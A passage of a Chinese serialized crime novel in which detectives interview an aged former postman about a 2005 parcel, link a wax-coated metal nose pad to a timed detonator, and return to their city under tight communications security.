至于做没做整容手术,一查便知,也是根本隐藏不了的。 魏嘉康的身份背景与凶手很符合,但长相不符;邵彦华的长相与画像有相似点,可身份背景不符。怎么回事?秦梓需有种明明好不容易找到了关键的拼图,却怎么摆也拼不上去的感觉。 就在这时,秦梓需的手机响了,是邹天来电,秦梓需立刻接通并开了免提: “秦老师,医院已经联系好了,我们打算明天就安排王永荷转院去昆明,比较突然,你们今晚做一下准备。” “好,知道了。” 电话挂断,秦梓需和章弥真相视一眼,便立刻着手收拾行李。 第52章 第五十二章 7月的滇东山区阴雨不断,可往西去上百公里,出了山区范围后,天气就立刻转晴转暖,蓝天白云,明媚怡人。两辆沾满泥土的SUV跟在一辆非急救护理转运车后,奔驰在高速路上,一路上不曾有休息,清早出发,一口气赶了四个多小时的路,抵达了昆明的大医院门口。 安排王永荷住院后,一众人等就在医院附近的酒店下榻。证物文件盒也被他们从药山镇派出所带出,暂存入酒店的保险柜里。 他们在这里见到了云南省厅下派来的公安领导和早就等候多时的昭通市局刑侦支队支队长。 云南省厅对这个案子也相当重视,专门派人过来了解情况。众人借了酒店的一个会议室开了个短会,邹天、秦梓需等专办人员向上级详细陈述了一遍案情和目前的调查进展。秦梓需、章弥真等人也从邹天那里听到了一些新的情况。 现阶段,药山镇本地人犯罪的可能性已被排除,流窜犯作案的可能性也被排除,嫌疑人锁定在了大寨镇客运站被监控拍到的那个男子的身上,因为经过对公交车上残留的鞋印比对,该男子乘坐公交时,确实穿着李富国的胶鞋。 警方在大寨镇附近的街道进行了全方位的摸排,不曾找到被丢弃的衣服鞋子,这意味着嫌疑人更换衣物后,很可能直接带走了,并未丢弃。 至于该男子究竟是不是陈、杨连环凶杀案的嫌疑人,目前还不能完全笃定,因为并无直接证据关联,程序上暂且不能并案处理。但从逻辑推导层面,可以列为高度关联案件进行侦查。 此外,关于李富国的调查也有了新的进展。首先,小宋从运营商那里查到了凶手联络李富国的方式,就是打电话,但凶手使用的是匿名预付费SIM卡,应该是在暗网使用虚拟货币购买的,通话内容不得而知,通话时间是案发当日的17:43分,时长持续了1分钟多一点。 其次,从农行那里查到李富国遇难前所持有的那张农行卡,里面有30万元,是他目前所有的积蓄。 公安已经联系上了他儿子,据他儿子说,他在广东结婚买房,李富国给了20万元,这么多年李富国的积蓄加上赔偿款,以及买房卖房,折算下来应该有70万元左右。去掉20万,也该剩下50万,现在只有30万,有20万的款项不知去向。 经查,李富国在寺庙给女儿供了一个长生牌位,还三不五时要请法师做法度化,就为了这些神神叨叨的事,瞒着家里隔一段时间就要出去一次,几年时间花出去20万。 这个人不让妻子在家里供观音,却自己跑到外面来请法师做法度化。他自知自己不能为女儿昭雪鸣冤,内心难安。可能在中毒产生幻觉,并看到凶手假扮的“李芝华”时,第一时间想着的就是要去寺庙加供奉,让女儿能够超度。所以才会如逃难一般开着三轮,冒着大雨出了门。 /:. 然而终日拜佛,却敌不过天意索命,就这样葬身泥石流下,草草结束了这一辈子。思之令人不胜唏嘘。 云南省厅领导表示会全力配合秦梓需为首的专案组展开调查,由于这个案子与东海省、胥城市关联,省级层面还要打通关系,进行联合调查。 会议结束,秦梓需等人送领导离去,接下来昭通市局刑侦支队的支队长要接管案件的调查,邹天就成了副手了,这一大队人马要赶回药山、大寨继续摸排,便与秦梓需等人辞别。不过这位支队长将邹天留下,安排邹天在昆明协助秦梓需专案组完成后续的调查。 秦梓需等人这回来昆明的主要目的就是看望老周,这件事没必要那么多人一起去。秦梓需让小宋跟着昆明市局的民警去技术中心,小宋希望借助市局的设备再仔细查一查李富国的手机,希望能追踪到黑客的蛛丝马迹。 而耿剑秋则被秦梓需委托去医院看顾王永荷。 站在酒店门口,秦梓需、章弥真目送大队人马离去。邹天已经将车开了过来:“秦老师你们上车吧,我带你们去老周家里。” 章弥真坐进车里时,有些感慨:“说实在的我一直觉得偏远省份行政效率不高,但这回倒是让我改观了。” “云南公安是缉毒的主力,在侦查效率这方面你绝对要相信他们的能力。”秦梓需笑道。 “哈哈哈,咱们都是急脾气,想赶紧把事情做成了。”邹天笑了。 开车去老周家的路上,秦梓需问邹天: “邹队,这个老周现在能说话吗?神志清醒吗?” “偶尔清醒,大多数时候都是糊涂的。说话说不清楚,但如果比划、写字,他多少还能传达一点意思。”邹天道。 “哦,那就好,神志清醒就行。”秦梓需悬着的心稍稍放下。 “所以就是得碰运气了。”章弥真无奈。 “嗯,没关系,咱们多等一段时间,就一直候着,总能等到他清醒的时候。”秦梓需很有耐心。 不过,这一回老天眷顾了她们。当她们上门见到老周时,老周恰好就处在难得的清醒状态下。这位老人瘫在护理病床上,床背升起,撑着他的脊椎。他看上去黝黑、瘦削,连牙齿都要掉光了,但状态还不错,甚至能含混地说出完整的句子来。 章弥真负责录像取证,秦梓需则耐心在老人跟前攀谈。她道明来意,询问老人与杨莲之间的渊源。 老人浑浊的眼睛里有光亮闪烁,他道:“她是大好人,大好人呐!我把她当小妹妹照顾。” “那您记得杨莲最后一次和您见面的情况吗?” “记得,一直记得。”老人答得很坚决。 “是什么时候?” “2005年的7月24号,她辞职离开后5个月,突然悄没声息地回来了。她把一个文件盒交给我,要我帮她寄出去。”老人居然记得非常清楚,连日期都很精确。他非常努力地吐出每一个字,尽量做到不说错。能看到他脖颈上的青筋暴起,说话非常用力的样子。 秦梓需压制住自己内心的雀跃与兴奋,冷静追问: “她让您帮忙寄出去,那包裹上的寄件、收件地址是您写的吗?” 老周点头:“是我写的,我让她写她不肯写。她那天很紧张的样子,回来后立刻就走了,都没去看一眼老校长。” “她具体是怎么和您说的呢?寄件地址和收件地址是她口头报给您的?” “对,她报我写,她还不肯留名。” “您记得她留下的寄件地址具体是哪里吗?” “荞麦地村3组7幢,就是江志高校长家。她告诉我,她要给一个在黑龙江漠河的老同学寄一些材料,但她不想让人知道是她寄的,所以不能署名。而且她不确定收件地址对不对,说有可能会退回,要我等退回后,直接把文件盒交给老校长。” “您确定您写的是7幢吗?有没有可能写错了?”秦梓需确认道。 “我…我…”老周突然激动起来,大喘着气,秦梓需连忙帮他拍胸口顺气,安抚道: “别急,别急,您慢慢讲。” 老人深呼吸几下,缓缓道:“我那天……用的是一个快断了墨的签字笔,写7的时候,横向的那一笔没写得很清楚。我当时想着要找一个有墨水的笔补一下的,后来突然又有事打岔,我给弄忘了。后来包裹就这么寄出去了。 “再后来,我就彻底把这件事抛在脑后了。9月时,我骑摩托出了事故,就提前病退了。我本来一直也没想起来这件事,直到我都瘫痪在床上了,有一天竟突然就想起来了。我这心里难过的啊,就像猫爪一样。那包裹到底有没有退回,有没有送到老校长手里啊?我听说,接我班的是阿木那个小子,这小子心不够细,我真的很担心。” 正在录像的章弥真感到后背鸡皮疙瘩起来了,没想到真如秦梓需推测的那样,这样一整个故事的逻辑就全部理通了! “您放心,包裹是退回了,中间也差点送错了人,不过确实最后送到老校长手里了。”秦梓需安抚道。 “这样啊……这样我就放心了。”老周露出了释怀的笑容,絮叨道,“我干邮递员干了一辈子,从没送错过一回,可不能在杨老师那里犯了错。那可是杨老师,我怎么能把她的东西送错了呢。对了,杨老师现在怎么样了啊?这么多年没见了,这一想起来,还怪想她的哩。” 章弥真莫名其妙鼻子一酸,泪意上涌。她抿唇,克制住了自己的情绪。 这一切,实在太让人心酸了。 秦梓需喉头滚了滚,强压情绪问道:“您当时骑摩托车出事,是怎么回事?” “诶,我也真是年纪大了,不中用了,老忘事。摩托车刹车油没了,我一直没想起来要加油,结果就没刹住,出事了。那场事故后,我的身体就好不起来了,后来又脑梗,现在只能躺在这床上。人老了真是没用了……”老人道。 “那您……摔倒后,有没有人当时在现场帮助您的?” “我当时人都摔晕过去了,哪里还能记得谁救的我呀……”老周摇头。 这时,老周的儿子在旁道: “我爸是摔倒镇公路下面去了,当时有人路过,报了警,我爸才得救的。那个人一直是守到警方和救护到了才走,但人家做好事不留名,应该就是个路人。” “当时您是在什么情况下出的事,是去送信件吗?” “是,那天我是要去送信的。” “那车上邮包里的信件都还在吗?” “都甩出来了,撒得满地都是的,幸好当时没下雨,后来还是同事帮忙捡回来了,丢了好几封。真的是……我这一辈子没出过一次差错,就这一回犯了大错。”老人提起这个还很懊悔。 “除了信件,您身上有什么东西丢了吗?” “他的钥匙串儿搞丢了,家里的钥匙、邮局的钥匙都没了,后来还是我去重配的。”老周儿子道。 “您丢掉的钥匙里,有没有邮局仓库的钥匙?”秦梓需进一步确认道。 “诶……有啊。”老周亲口承认道。 秦梓需沉吟了片刻,看了一眼章弥真。章弥真点头会意。也许钥匙就是被凶手拿走了,他搜了老周的包裹,又去搜了邮局,没能有任何发现。也就是说,杨莲在2005年7月回到药山镇的那天,其实身后很可能是跟了尾巴的,凶手一直在暗中窥视她的一举一动。 可后来,凶手又是怎么发现东西到了李芝华手里的呢?这也许是一个只有凶手自己才能回答的问题了。 “警察同志,你们到底在查什么事呀?”老人好奇地问。 “没什么。”秦梓需打马虎眼笑道。 “和我寄出去的那个包裹有什么关系吗?和杨老师有关系吗?杨老师她现在还好吗?” 老周只是老了,并不是傻了,秦梓需都问到这个份上了,他如何能猜不出来到底出了什么事。 “老爷子,你好好养病,长命百岁,比什么都重要。”秦梓需道。 “你们……你们告诉我到底出什么事了。”老爷子很努力地抬起手,抓住了秦梓需的衣袖。 秦梓需沉默了,老周儿子连忙在旁劝说父亲放手。就在这僵持之时,章弥真轻声道了句: “老爷子,您要好好的,这样杨老师在天之灵才能安息。” 老周僵住了,半晌,他口唇微张,眼圈泛红,嗫嚅了半晌,才问道: “怎么……就没了?她应该……还不到六十岁。” “她为了她认为值得的事情献身了,您不必难过,她已经走了很多年了。”章弥真缓缓说道。 第53章 第五十三章(长评加更No.1) 从老周家里出来,秦梓需和章弥真皆心绪沉闷,一时无言。 上了车,邹天坐在驾驶位上,望着坐在后座的两人,问道:“接下来你们想去哪儿?” 章弥真看向秦梓需,秦梓需却显得有些茫然。调查至此,她竟然有些不知道该怎么查下去了。虽然搞清楚了当年到底发生了什么,可能够追索到凶手的线索又几乎全断了。 “你们帮我想想杨莲当年和凶手博弈,到底是一个怎么样的过程?弄清楚这个问题,我才能搞明白该怎么继续查。” 邹天和章弥真其实也很迷茫,邹天没说话,章弥真道:“刚老周说杨莲最后一次来找他时,显得很紧张,她是不是意识到凶手就在后面跟着她?” “嗯,对。至少她是有这个警惕心的。”秦梓需点头。 “凶手跟着她,是不是意味着杨莲掌握了某种让凶手忌惮的证物?”章弥真顺着推理下去。 “有可能,但逻辑上并不能百分百确定。”秦梓需道。 “我们现在已经拿到了杨莲的文件盒,里面的东西我们都看过了,甚至都不能判断出凶手的身份,更遑论呈堂证供。凶手到底在害怕什么?难不成杨莲确实摸到了凶手的地盘上,惊动了凶手,可她自己却没有意识到这一点?”章弥真试图理清里面的逻辑关系,但她还是觉得头脑混乱。 秦梓需道:“还记得杨莲吞下去的那个金属片吗?我们此前推断,她可能是在被迷晕前主动吞下去的。且她有可能在这个金属片外部做了一层保护,防止被腐蚀。到底是什么东西值得她这么做,这个东西到底是什么?” “在金属片外层做防护这件事,有证据定论吗?”章弥真确认道。 秦梓需干脆拿出手机,调出蓝信,拨通了刘雪莹的号码。刘雪莹接通时,语气很是惊奇: “秦老师?你们云南调查结束了吗?” “还没,我问你啊,那个从白骨胸腔位置取出来的金属片,你们有没有做进一步的检测?”秦梓需问。 “哦,我正准备给您发相关的调查结果呢。是这样的,我们在那个金属片的外层检测出了长链烷烃。这种化学物质出现在土壤里不大寻常。起初我们以为是化工厂污染造成的,毕竟埋葬尸体的那片坡地不远处曾经就有一家化工厂。 “但为了更严谨,我们做了一个土壤测试,取了方圆五十公里范围内多个位置的土壤进行取样分析。很神奇的是,其余地区的土壤、包括埋尸地点的土壤,都没有长链烷烃成分。 “所以我们认为这是金属片外层独有的成分。” “长链烷烃……你指的是石蜡?”秦梓需道。 “对,没错。我们认为金属片外层曾经包裹了一层蜡。”刘雪莹道。 秦梓需看了一眼章弥真,章弥真举起双手,表示自己服气了。 “那你们分析出那个金属片到底是什么上面的部件了吗?”秦梓需问。 刘雪莹回道:“这个很难说,从材料学来看,这金属片是镍钛合金,广泛用于制造业的众多环节。从加工工艺来看,这金属片原本表面光滑,大小基本跟一颗绿豆差不多,形状是弧形片,看上去像是眼镜的金属鼻托。 “我们除了在其上找到了指纹残片,还找到了非常微量的皮脂,只可惜实在太微量了,没能测出足量的细胞核,也就没办法做DNA检测。此外,我们还从这个金属片上测出了铜碎屑。” “铜碎屑?” “嗯,是丝状的铜,感觉像是铜丝的残留。而且,这个金属片上面有高温形变痕迹,我们通过SEM扫描发现鼻托内弧面有局部熔融,这不大像是煤气爆燃的瞬时高温造成的,更像是接触点长时间高温造成的。”刘雪莹道。 秦梓需沉吟了片刻,道:“有没有可能是定时引/爆装置的残留?” “有很大可能,复杂的我就不说了,因为镍钛合金有应力-温度滞后曲线,这是相变特性的核心表征,反映了材料在温度与机械应力耦合作用下的非线性响应。所以我给做了一下温度扫描与应力加载,量化滞后环面积,评估材料的抗疲劳性能。结果是,这个鼻托可能近距离承受过极强的爆炸冲击。” 刘雪莹说了一大串复杂的术语,秦梓需、章弥真都没大听懂,但最后的结论终于听懂了。 “好,我知道了,我们过两天就回来了。”秦梓需挂断了通讯。 “老秦,你真是神了。你怎么总能有这种天马行空的突发奇想,而且还都是猜对了?”章弥真禁不住道。 “这不是天马行空,这是基于事实的合理推测。魔鬼都在细节里,细节的差错往往能颠覆全盘推想。”秦梓需纠正道。 “金属鼻托……嘶……“章弥真环抱双臂,陷入沉思,“如果真是从眼镜上取下来的,难不成,凶手真的用眼镜的鼻托来做了定时引/爆装置?杨莲从哪儿找到的?现场吗?而且,杨莲调查爆燃案时,爆燃案都发生了3年了,她该怎么查?”章弥真迷惑。 秦梓需摇头:“不不不,这里面有个误区。杨莲得知陈老师全家死讯是在爆燃案发生后没几天,9月初刚开学她就找到胥中问情况了。事后她去了哪儿,没人知道。当时爆燃案现场都还没完全清理干净,只是简单拉了封锁线,看守不严,连我都钻进去过。 “我认为她一定去现场了,也许就是在那时,她找到了一点什么,又或者在那时就已经与凶手遭遇,进入了凶手的视野。” “啊?你进去过爆燃案现场?”章弥真是第一回听说。 “对,爆燃案后我们家就匆匆忙忙搬家了。我爸妈在一周内,就将家里搬空,先到一中附近租了一个房子过渡。开学后就是军训,军训结束后的那个双休日我偷偷跑回去过,钻进去封锁线,想到里面找找看有没有……遗物,但我除了焦炭啥也没找到……”秦梓需回忆道。 “可当时现场应该有消防、公安搜查吧,怎么都没搜出点什么来呢?偏偏让杨莲找出了引/爆装置?”章弥真感到很困惑。 秦梓需道:“因为当时现场就没有好好搜检,爆燃事故发生在居民密集区,周围的老百姓很多都被波及了。有一大帮本身就对门面房做生意不满的人,集体跑到346厂办闹事,要求全面拆除这排门面房,排除安全隐患。军区也有出面,认为门面房是违章建筑,要求妥善处置门面房。当时连政府、公安都被牵连进去,所有人都在焦头烂额地处理闹事的人。 “而且你要知道那是2002年,社会治安糟糕,警力严重不足,一个在人们看来没什么疑点的燃气爆炸案,不值得多少警力投入。 “我印象中,现场搜检很快就结束了,但是清理现场间隔了将近两周才开始,这两周时间里,现场并不是封锁的,只是拉了线,白天公安有派人看守,但到了晚上,就换成了346厂的人值班。 “至于杨莲到底是什么时候进入的现场,又是怎么找到了证物,都是无法考证的事了,事实证明她确实找到了疑似定时引/爆装置的东西,且她有可能通过这个引/爆装置的残片,锁定了凶手。” 章弥真叹息:“唉……这就是命中注定吧。” 邹天在前面驾驶座上听她们讨论,听得头晕脑胀,有点跟不上了。好在这时一通电话救了他,来电的是耿剑秋: “你们快回医院,王永荷醒了!”他的声音充满了兴奋的意味。 当邹天驱车飞快赶回医院时,秦梓需在车还没停稳时就开了车门。下车后,她一马当先,飞快冲进了住院部大楼。 章弥真、邹天跟在她后面跑得上气不接下气,邹天不禁惊叹于秦梓需的速度怎么能这么快。 赶到病房门口时,医生正在观察病床上王永荷的眼球状态,耿剑秋站在病床床尾,见他们来了,立刻道: “刚医生给做了一次脑CT,一送进病房没想到就醒了。” “这几位是?”医生询问道。 “都是我们同事。”耿剑秋道。 医生站直身子,对走进来的秦梓需等人道:“病人脑神经受损,且目前来看,病人出现了一定程度的臆想、呓语和记忆错乱症状,应该是神经递质紊乱和脑网络失调引发的急性精神失常。现在还很难判断未来的发展趋势,我们还需要做一次全面的检查。” 医生说话时,王永荷一直在喃喃自语,她说话口齿不清,神情呆滞,身子一直在不自主地摆动,眼睛直勾勾地盯着医生的白大褂。 章弥真听了好一会儿,才听明白她在说: “你安心去,妈没用,妈对不起你……” 章弥真感到一阵心酸,撇过脸去,不忍再看。 “她目前还能有逻辑地正常回答问题吗?”秦梓需问。 医生摇摇头:“很困难,病人目前需要静养,我们得给她做全面检查,然后尽早做药物介入。” “这会影响她的记忆吗?”秦梓需问。 “治疗不会影响她的记忆,如果她有忘记什么事,说明她的海马体受损了。这个就很难治愈了,因为基本是不可逆的。”医生道。 “我们现在能和她对话吗?”章弥真确认道。 “我的建议是最好不要刺激病人。”医生道。 众人无奈,最终商量了一下,还是退出了病房。她们在住院部的等待区坐下,商量下一步该怎么办。 秦梓需叹了口气道:“看来,短时间内王永荷是无法回答我们当天到底发生了什么了。邹队,就只能拜托你们照顾好王永荷,作为本案的受害人,希望她住院的费用,政府这边能有补助。” “这个您放心,都有的。她们家本来就是低保户,都是政府兜底,再加上意外保险,她不愁没有钱看病。但就是缺个能照顾她的人,我想想办法,看能不能让他儿子出钱帮她雇一个护工照护。”邹天道。 “家里都这样了,她儿子真的不回来吗?他是有赡养义务的,怎么能就这么撂挑子了呢?”章弥真蹙眉问。 “那家伙推说工作忙抽不开身,但他说了要回来的,大概也就这两天吧,他会先到昆明来看他妈,然后去给他爸办后事。”邹天也很无奈。 “这个家到这个份上,真的是太惨了。又是一次灭门案,这凶手真是丧尽天良。”耿剑秋愤愤不平。 秦梓需做了决定:“既然如此,耿队,你帮忙订票吧,我们明天就返回胥城。王永荷后续如果能神志清醒,还得麻烦邹队你来询问了。” 邹天点头答应。随即他又问:“秦老师,你们后续会去韩国查案吗?如果有必要,我可以陪你们一起去,我毕竟是当年参与调查李芝华案的人。” 秦梓需微微一笑,道:“是不是要去韩国,这个要看情况。我们回胥城是一定会调阅当年李芝华案件的卷宗的,如果有必须前往韩国查证的疑点,到时候我再联系你。” “好。” 章弥真瘫倒在椅背上,道:“回去后该怎么查啊,我真是一点头绪都没有了。” 秦梓需却道:“我感觉,我们一旦回去,恐怕就要做好遭遇危险的心理准备了。凶手这次在云南没能得手,他一定在做下一步的计划了。你猜,他是会逃,还是会留下?” “他难道不会逃吗?你的意思是他还真就打算跟我们斗到底?”章弥真没回答,反倒是耿剑秋吃惊问道。 “那就打个赌吧,我赌他不会逃。这个家伙这么多年,从来就没想过要逃,他一直都是湮灭证据的思路。你们什么想法?”秦梓需道。 “我认为他也该明白情况非常不妙了,逃肯定是第一选项。”章弥真道,“我特别担心的就是这个,我怕我们还没逮着他,就让他逃出境外去了。到时候要再找他可就难了。” “我也赌他会逃。”耿剑秋道。 秦梓需看向邹天,邹天特别没主见地道:“那我就跟着秦老师?平衡一下。” “咱赌什么?”章弥真问。 “就赌一个7天度假游吧,谁输了谁请客哈。”秦梓需道。 “好啊,那我可得赌赢了,不然……咱可能连度假的命都没了。”章弥真戏谑地说出了一句特别地狱的话。 第54章 第五十四章 7月中旬,夏日午后的胥城如加满火力的烤箱,骄阳炙烤着一切,干燥滚烫。偶尔午后一场雷阵雨,湿气瞬间蒸腾,将天地间充塞满滞闷的气息,让人喘不过气来。 自昆明而来的飞机降落在胥城机场,秦梓需、章弥真、耿剑秋和小宋四人一走出航站楼,就被热浪卷得差点喘不上气来。 一辆白色7座商务车已经停靠在接站口,开车人老远就望见了她们,下车来挥手打招呼。 “秦老师!在这儿!” 居然是谢云卿亲自开车来接她们了,这位支队长短袖衬衫配阔腿长裤,戴着大黑超,看上去像明星似的。 秦梓需四人立刻推着行李过去: “谢支,您怎么还亲自来啊?” “我不放心你们,你们在云南的事儿实在是惊心动魄,我特别想尽快听你们亲口说说。”谢云卿笑道。 其实该汇报的秦梓需都在蓝信电话里断断续续跟谢云卿汇报过了,秦梓需觉得她这次亲自来接,不像她口里说的这么轻松。 “证物在吧?”谢云卿压低声音,凑近问。 “在。”秦梓需拍了拍自己背在身前的双肩包,证物全程都在她的包里,没有离过身。且她每隔一段时间就会开包检查一下。 “那就好,大家赶快上车!”谢云卿拍手招呼道。 众人将行李搬上车,秦梓需坐了副驾,章弥真坐在了驾驶座后排,她刚进车里就愕然发现副驾后排还坐着一位男子,正是刘明城刘总队长。 “咦?刘总,您也在啊。”秦梓需从前面回头打招呼。 “哈哈,惊不惊喜,意不意外?”刘明城笑哈哈道。 “真是受宠若惊啊,今天什么阵仗这是?”秦梓需心里打鼓。 “一会儿带你们接风洗尘,咱们吃点好吃的去。”刘总道。 说话间,耿剑秋、小宋已经坐进了第三排,所有人系好安全带,谢云卿驾车出发。车子一开动,刘明城的神情突然严肃了起来,他沉声道: “从现在起,大家要注意通讯安全,先全部关闭手机。” 众人神情一凛,立刻照做了。 “从现在起,即便是蓝信也不一定可靠,你们在蓝信上传输文件、照片,发消息打电话,都有可能被监视监听。所以咱们用内部手机进行沟通,大家拿好了。” 刘明城从座位下的包里取出了4部直板按键手机,分给秦梓需四人。章弥真也不知道有多少年没见过这种老式按键机了,这种机子除了打电话、发短信,甚至不能上网。 刘明城解释道:“你们身上的所有电子设备一会儿拿回技术部,要进行一次技术检查,排除监听隐患。从现在开始,一切关键信息都不要在蓝信中传输了,尽量进行实物传递,通讯就用这个小手机打电话或者发短信。每一个人都有一个对应的快拨号,可以一键拨打。” “这么严重吗?”章弥真小声问。 刘明城看向她,神情严肃道:“很严重,现在胥城的公安系统不可信,我们甚至不知道公安人员的通讯设备被渗透到了哪个地步,必须得花费大量的时间来进行排查。” “你们调查公安系统的开发运营公司了吗?”秦梓需问。 “正在查,这些人员能参与公安系统开发,本身就都做了政审,都过关了的。但难保后续不出什么猫腻。”刘总道。 “咱们在云南传回去的证物照片,现在还在吗?有没有丢失?”秦梓需问。 “丢失了百分之80,所以现在实物比电子照片重要得多。”谢云卿回道,这个回答让秦梓需心中一紧,怪不得谢云卿上来就问证物在不在。 刘明城看向章弥真,道:“章记者,鉴于你之前的遭遇,我们认为你家现在并不安全。你要不要考虑暂时搬到我们安排的安全屋居住?” “这……”章弥真懵了,她确认道,“那我还能正常参与调查吗?或者去我自己的工作单位?” “可以,去安全屋不是限制你的人身自由,但你往后行动必须要谨慎,咱们至少会安排一个警员陪同你出入。”刘明城道。 “而且饮食都必须谨慎,这个凶手很擅长下毒。”秦梓需补充道。 “不是,那个凶手杀我做什么,我不明白。”章弥真有点慌,道,“我只是个参与调查的记者罢了,杀我也阻止不了调查啊。” “我们都是正常人,正常人很难揣摩凶手的心理,我们不能搞明白凶手到底为什么要针对你,也不能把希望寄托在凶手拥有理智。所以,一切都得防患于未然。”刘明城道。 “好吧……安全屋在哪儿?”章弥真认命问道。 “距离市局不会很远。”刘明城没有明确回答。 “我能申请和秦老师住一起吗?”章弥真瞄了一眼副驾上的秦梓需,秦梓需回头看了她一眼,神情似笑非笑。 章弥真感觉脸上有点发烧,这个申请当着秦梓需的面说出来真有些丢人,她后悔了,应该私下里和领导提的。 刘明城笑出声来,拍了拍副驾座椅的后背,问道: “秦老师,问你呢?” “也不是不可以,我那小破出租屋条件是挺简陋的,要是安全屋能高档点,我也愿意搬过去。”秦梓需目视前方,头也不回地道。 怎么说话的?言不由衷演给谁看呢?章弥真听得直嘬牙花子,恨不能掐住她的脖子狠狠摇晃,让她好好说话。 “哦,那必须的,条件必须好。三室两厅两卫,保管二位住一起不打架。”刘明城捧哏似的笑道。 “哈哈哈哈……”一车人顿时笑得乐不可支。 尽管这一番插科打诨让气氛为之一松,可当前形势到底比较严峻,很快一车人就都陷入了沉默之中。 行车四十分钟后,车子开入城区,此时是下午五点多,城里车流已然有些拥堵。谢云卿慢慢跟车,打破了车内的沉默,询问秦梓需道: “秦老师,你们在云南调查的整体情况我大概了解,现在的情况是线索全断了吗?” “不能这么说。”秦梓需解释道,“虽然情况不大理想,但线索不能说是全断了。我们目前还有几个调查方向: “一是因为凶手的画像丰富了许多,我们可以再做一次当年学生的摸排,实际上我心中已经锁定了一个比较清晰的目标人物了,接下来就是要搞清楚他的背景。 “二是我们获得了一个凶手的外貌画像,这个画像必须要利用好,我接下来要用系统做分析。 “三是关于那个被杨莲吞入腹内的金属片,那个东西是个关键物证,我希望无论如何,穷尽办法也得从其上提取到生物痕迹,哪怕是不完整的指纹也好,都要尝试拿来比对。这个物证直接关系到爆燃案是否能给凶手定罪。 “四是排查所有有能力接触公安系统的人员,做详细背调。这个凶手非常熟悉公安系统,他很有可能参与过公安系统的搭建,甚至有可能现在仍然还在一线运维。 “五是我得再仔细看一遍李芝华案的卷宗,尤其是韩国那里的调查卷宗,有必要的话,我们还得跑一趟韩国去做二次补充调查。这个事儿因为涉及到跨国,还得申报公安部来协调。” 谢云卿道:“好,有方向就好。我怕的就是找不到证据,现在比较有力度的,一个是外貌画像,一个是金属片。金属片不仅仅是爆燃案的物证,也是抛颅案的物证,这个证物是把这两个案子联系在一起的纽扣。 “李芝华的案子,暂时还缺乏物证。现在你们获取到的画像,只能说是最近才发生的药山镇李家案的目击证据,到底能不能关联上李芝华案,我看还比较薄弱。所以李芝华在韩国的案子,以及药山镇李家案,都还需要补充调查,获取更多证据。” “李芝华有一把花雨伞,可能就在凶手手上。我不确定他现在是否销毁了那把伞,如果还在,就是最有利的物证。”秦梓需道。 “悬,我看悬,他一定会销毁的。”章弥真在后面插话道。 “实在不行,我们就只能去一趟韩国,去查一查李芝华当年入住的宿舍,如果走到这一步,恐怕线索渺茫。”秦梓需忧心忡忡。 车子终于开进了市局,众人先去了一趟信息处,交了手机、平板和笔记本,秦梓需、章弥真甚至把自己从不离身的电子表都交出去了。还将全套行李都做了一次筛检,排除被安装监控定位设备的可能性。然后将证物清点入库无误。 刘明城说要为她们接风洗尘,还真就没有食言,只不过这个接风洗尘的地点在市局的食堂。食堂大厨为他们开了小灶,炒了几个硬菜。 众人还在办案中,只以饮料代酒,好好吃了一顿。秦梓需、章弥真再次见到了李之枚和刘雪莹,这两人见到她们回来,可激动了,上来就给了个大大的拥抱。嘘寒问暖,关怀备至。 章弥真有种找到组织的错觉,入职场这么多年,她已经很久没感受过这种被大家庭关怀的温暖了。一直以来,她都是单打独斗。自己成长起来后,才给后辈撑起一片天,饶是如此,也没有到如此亲密的地步。 她突然间就有些想自己组里的那些同事们了,现在她算是“泥足深陷”,由于她的电子设备全部存在风险,恐怕短时间内都很难去兼顾那头的工作了。 刘雪莹搂着章弥真的肩膀道:“真真姐,我们其实去过你家采样的,没有入户,就是在楼道和电梯里采样的,而且我们还去看了你寄养在宠物医院的那两只小猫。” “真的?它们怎么样了?”章弥真眼前一亮,忙问。 “挺好的,宠物医院把它们养得很好,吃得肚子圆滚滚的,茁壮成长。”说着,刘雪莹拿出手机,给章弥真看拍的猫猫照片。 看着照片里两只毛茸茸的萌物,精神疲惫的章弥真顿时被治愈了,虽然这两只小猫来历不明,但小猫能有什么错呢? 吃完饭,夜幕早已降临。谢云卿安排李之枚开车,带秦梓需、章弥真去安全屋入住。李之枚开车时才告诉秦梓需和章弥真,那安全屋其实就在她居住的小区里,房子是一位受到公安救命之恩的老板买的,低价租给公安公用。 这房子一般是提供给需要庇护的高危人员居住的,偶尔会被安排给个别外地调任的警员做临时宿舍过度,没有这两类情况的时候,房子就是空置的。 李之枚居住的小区距离市局大概20分钟车程,确实不算特别远,但距离章弥真自家房子就比较远了,几乎可以说是分处市区东西两头。好在章弥真的行李都随身带着,暂时换洗无碍。 “我还能回家去拿东西吗?”章弥真确认道。 “最好别回去,虽然我们暂时没从楼道里搜出任何监听设备,但也难保凶手不会用其他方式在暗中守株待兔。你回去了就有可能进入他的视野。”秦梓需道。 “唉,好吧。”章弥真无奈,又问,“我啥时候能和同事还有我妈打个招呼?我怕他们担心。” “明天手机应该能还你,你可以联络一下他们,但也就这一回,你最好想一个比较好的借口,让他们在短时间内不要再联系你了。”李之枚道。 说话间,车子已经驶入了小区。李之枚七拐八绕,最终将车停在了小区内院比较僻静的一幢楼前。秦梓需和章弥真抬头看楼号——8幢。 “我住在3幢,302,你们有事可以直接上门找我。我家里是一家三口,我、我丈夫和我女儿。我丈夫也是警察,他是经侦的。我女儿是高中生,现在放暑假在家,小姑娘也很机灵。”李之枚将家庭照亮给两人看,让她们快速认脸。 随即她又把已经配好的两把钥匙递给两人,道:“你们上2楼,201,那就是安全屋。” “2楼,这个楼层选得不错。既方便居高观察,又方便快速逃生。”秦梓需笑了。 已经到了准备逃生的地步了吗?章弥真嘴角抽抽,接过了钥匙。 第55章 第五十五章 秦梓需、章弥真入住“新家”,这家里家电一应俱全,装修虽简约却也干净,直接入住并无多大问题。可二人都没了手机、平板和电脑,进来后坐在沙发上,只能大眼瞪小眼。 “看电视吧。”秦梓需把电视打开了。电视里在播放本地新闻,外景记者正顶着大太阳采访工地里冒着酷暑干活的工人。 章弥真压根没有看电视的意思,看着秦梓需问:“你说那凶手真的会胆大包天到对咱们不利吗?光天化日之下,直接对警察下手,这得心多大啊。我觉得再怎么自负的人,到了这个节骨眼上,应该想着快逃了。” 秦梓需调小了电视声音,不答反问:“我问你一个问题,你觉得凶手现在是单身,还是有家庭了?” 章弥真思索道:“单身吧,他能这样到处乱跑,千里行军、独狼一般在山里晃荡,还制毒、搞各种犯罪工程,怎么着也得露馅的吧。要是有家人,那除非家人是他的帮凶,否则他很难实施如此复杂的犯罪。” “我认为他结婚了,而且有孩子。”秦梓需笑道。 “为什么?”章弥真不解。 